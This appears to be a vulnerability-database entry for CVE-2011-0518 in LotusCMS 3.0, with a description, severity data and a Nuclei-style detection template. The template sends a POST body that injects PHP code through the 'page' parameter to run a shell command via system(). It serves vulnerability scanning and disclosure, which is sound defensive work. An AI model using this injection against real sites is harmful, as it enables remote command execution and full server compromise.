CVE-2011-0518: LotusCMS 3.0 - Remote Code Execution

2025-08-01 LotusCMS 3.0 PoC Public

Description

LotusCMS 3.0 is susceptible to remote code execution via the Router () function. This is done by embedding PHP code in the 'page' parameter, which will be passed to a eval call and allow remote code execution.

PoC

id: CVE-2011-0518

info:
  name: LotusCMS 3.0 - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: |
    LotusCMS 3.0 is susceptible to remote code execution via the Router () function. This is done by embedding PHP code in the 'page' parameter, which will be passed to a eval call and allow remote code execution.
  impact: |
    Remote attackers can include and execute arbitrary local files, potentially leading to remote code execution or full system compromise.
  remediation: |
    Enable magic_quotes_gpc or sanitize 'system' parameter, and update to the latest version of LotusCMS Fraise.
  reference:
    - https://github.com/Hood3dRob1n/LotusCMS-Exploit
    - https://nvd.nist.gov/vuln/detail/CVE-2011-0518
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2011-0518
    epss-score: 0.15833
    epss-percentile: 0.96702
    cwe-id: CWE-77
  metadata:
    max-request: 2
    verified: true
  tags: cve,cve2011,lotuscms,rce,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/index.php"
      - "{{BaseURL}}/lcms/index.php"

    headers:
      Content-Type: application/x-www-form-urlencoded

    body: |
      page=index');${system('echo lotuscms_rce | md5sum')};#

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "38ee63071a04dc5e04ed22624c38e648"

      - type: status
        status:
          - 200
# digest: 490a00463044022072770d13bf5acea79ff58f8a84aa5575062b36a96d7ff55287d34bcd693e35240220702a9a2e3ca15d76adbed16c6c8f193094cabedf0ac82d5da5407062f1fc6f68:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities